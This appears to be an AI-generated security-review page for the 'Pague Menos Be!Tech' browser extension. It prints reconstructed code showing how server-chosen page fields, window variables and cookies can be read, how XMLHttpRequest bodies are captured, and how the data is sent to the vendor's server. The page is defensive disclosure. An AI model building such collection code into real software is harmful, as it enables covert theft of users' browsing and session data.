Is Pague Menos Be!Tech safe?
Pague Menos Be!Tech loads a remote config on every site that can send page content, page variables, and cookies to its own server.
On every website you visit, this extension downloads a store configuration from paguemenos.betechers.com.br that names specific values to collect from the page, such as text pulled from a script tag, a jQuery-matched element, a regex match against the page HTML, or a named JavaScript variable read directly out of the page's own memory. It also patches the page's XMLHttpRequest calls and can read cookies by name through the same injected bridge. Whatever values the remote config selects are bundled together and sent to paguemenos.betechers.com.br/send-flow.
Who publishes itBeTech - no other listings under this identity, 1 shared hostname
BeTech - no other listings under this identity, 1 shared hostname
What this publisher told the store about itself, and the other listings that told it the same thing.
Shared hosts - 1 hostname
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Server-picked page field, cookie, or global can be read and sent home
Code analysis shows a server-controlled config can make the extension read a CSS-selected value, an in-page script field, or any window variable, then send it to paguemenos.betechers.com.br.
No active flow was observed for this version.
You load any http or https page with the extension installed and active.
The content script runs on every site; the manifest does not limit it to partner retailers.
The extension asks its server whether this page has an active configuration, then extracts and sends whatever field the server names.
The named field can be a CSS-selected value, JSON in a script tag, a raw regex match, or any window variable, including one the extension did not create.
| Field | Value | Why it matters | |
|---|---|---|---|
In-page script value | checkout.total (illustrative) | Reads a JSON blob out of a script tag the server points to, then walks a server-supplied key path. | |
Any page-global variable | window.dataLayer[0].transactionId (illustrative) | Reads window[name] for a variable name the server supplies, not limited to values the extension itself set. | |
Selected element text | #pedido-total text content (illustrative) | Reads the visible text of any element the server points to by CSS selector. | |
Regex match on page HTML | first regex capture group (illustrative) | Runs a server-supplied regular expression against the page's raw HTML and returns the match. |
The remote-config field resolver (index.js)
// isFlowActive(pageHtml, flow) - decides whether this page matches a
// server-defined "flow" and, if so, resolves its fields.
async function isFlowActive(pageHtml, flow) {
if (!flow.ativo) return null; // server can toggle a flow on/off
const urlPattern = new RegExp(flow.url, "i");
return urlPattern.test(pageHtml) ? await resolveFields(flow) : null;
}
// resolveFields(flow) - walks every field the server listed, retrying up
// to 5 times (module-level counter) if under half resolve.
async function resolveFields(flow) {
const fields = flow.data || [];
const resolved = {};
let total = 0, hits = 0;
for (const field of fields) {
total++;
const value = await resolveOneField(field);
resolved[field.nome] = value;
if (value) hits++;
}
return (hits * 100 / total < 50 && retriesLeft) ? retryAfterDelay(flow) : resolved;
}
// resolveOneField(field) - the extraction dispatcher. `field` is an object
// the server sent in retrieve-store-data; exactly one of these four keys
// selects the method.
async function resolveOneField(field) {
let value = null;
if (field.script_selector) value = await readScriptTagJson(field); // JSON in a <script> tag
if (field.script_var) value = await readPageGlobal(field); // window[name], via the page bridge
if (field.selector) value = await readSelectorText(field); // jQuery/Sizzle text
if (field.regex) value = await readRegexMatch(field); // raw HTML regex match
// value_regex / value_remove_rule / value_cast post-processing omitted here
return value;
}
const readRegexMatch = (field) => runRegexTemplate(null, field.regex, field.regex_output);
// readScriptTagJson(field) - parses a <script> tag's JSON body located by
// a server-supplied CSS selector, then walks a server-supplied key path.
async function readScriptTagJson(field) {
try {
const tag = document.querySelector(field.script_selector);
const json = JSON.parse(tag?.textContent || "");
return getByPath(json, field.script_path);
} catch { return null; }
}
// readPageGlobal(field) - asks the page-context bridge for window[name],
// where `name` is the server-supplied `script_var` string. Not limited to
// data the extension itself put there.
async function readPageGlobal(field) {
const mode = field.script_btc_anatam; // e.g. "find|key=value"
let record = {};
if (mode) {
const [op, filter] = mode.split("|");
if (op === "find") {
const [key, expected] = filter.split("=");
const candidates = await callPageBridge({ variableName: field.script_var });
record = candidates.find(c => expected === undefined ? c[key] : c[key] == expected) || {};
}
}
return getByPath(record, field.script_path);
}
// readSelectorText(field) - jQuery/Sizzle text extraction from any element.
async function readSelectorText(field) {
const el = $(field.selector);
return el.length ? el.first().text() : null;
}The page-context bridge: command dispatch, cookie reader, and XHR body capture (injection.js)
// The page-side bridge listens for <ev> elements the content script
// appends to a hidden <evlist> node, keyed by a command name.
const commandTable = {
clickElement: simulateClick,
scrollToElement: scrollIntoView,
readPageGlobal: readWindowVariable, // reads window[name]
readCookieByName: readCookieByName, // reads document.cookie
waitForElement: waitForSelector
};
const handler = commandTable[command.name];
if (handler) {
const args = JSON.parse(command.argsJson);
handler(args).then(result => {
const payload = (result && result.value) ? JSON.stringify(result.value) : 1;
commandElement.setAttribute('result', payload); // content script reads this back
});
}// Reads an arbitrary global off the real page `window` object - not
// scoped to anything the extension itself defined.
function readWindowVariable({ name }) {
return new Promise(resolve => {
const value = window[name];
resolve(value ? { value } : null);
});
}// Reads one cookie by name from the live page's document.cookie.
function readCookieByName({ name }) {
return new Promise(resolve => {
const pieces = `; ${document.cookie}`.split(`; ${name}=`);
const value = pieces.length === 2 ? pieces.pop().split(';').shift() : null;
resolve(value ? { value } : null);
});
}// Monkey-patches XMLHttpRequest on every page so that every request body
// sent by the PAGE (not the extension) is cached in a page-global object,
// keyed by the request URL, for later retrieval.
function installXhrBodyCapture() {
const originalOpen = XMLHttpRequest.prototype.open;
const originalSend = XMLHttpRequest.prototype.send;
window.__capturedXhrBodies = {};
XMLHttpRequest.prototype.open = function(method, url) {
this.__requestUrl = url;
originalOpen.apply(this, arguments);
};
XMLHttpRequest.prototype.send = function(body) {
if (body) {
window.__capturedXhrBodies[this.__requestUrl] = body;
}
originalSend.apply(this, arguments);
};
}
installXhrBodyCapture();Before the resolved value leaves the device, background.js base64-encodes it together with the visit history, then posts both as form fields.
{
"store_id": "482",
"flow": [
{ "ts": 1735219200, "type": "loc", "value": "https://www.example-store.com.br/checkout" },
{ "ts": 1735219215, "type": "act", "value": "click:btn-finalizar" }
],
"values": {
"checkout_total": "239,90",
"session_id": "8f2b1e77-40ac-4d5a-9c88-6a9b0e4a2f31"
}
} (illustrative - built from the shipped code path, not a captured request)Decodes the base64 flow (visit history) and values (resolved fields) fields from a captured send-flow POST body so you can read what was sent.
// send-flow-decoder.js
// Decodes the `flow` and `values` form fields from a POST body captured
// at https://paguemenos.betechers.com.br/send-flow.
//
// Usage: node send-flow-decoder.js "<flow_base64>" "<values_base64>"
const [flowB64, valuesB64] = process.argv.slice(2);
function decode(b64, label) {
if (!b64) {
console.log(`${label}: (not provided)`);
return;
}
const json = Buffer.from(b64, 'base64').toString('utf8');
try {
console.log(`${label}:`, JSON.stringify(JSON.parse(json), null, 2));
} catch {
console.log(`${label} (raw, not valid JSON):`, json);
}
}
decode(flowB64, 'flow (visit history)');
decode(valuesB64, 'values (resolved fields)');
- 1node send-flow-decoder.js "<flow_base64>" "<values_base64>"
- paguemenos.betechers.com.br
Vendor's own backend (Betechers). Serves the retrieve-store-data config and receives the store_id plus base64 visit history and resolved field values at send-flow.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
What it can do
Permissions this extension asks for, as declared in version 15.18.144. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Sign you in with your Google account
identity
Where it sends data
Destinations our analysis observed Pague Menos Be!Tech contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- paguemenos.betechers.com.br
Pague Menos Be!Tech sends data to paguemenos.betechers.com.br. One other extension we have analysed sends data here.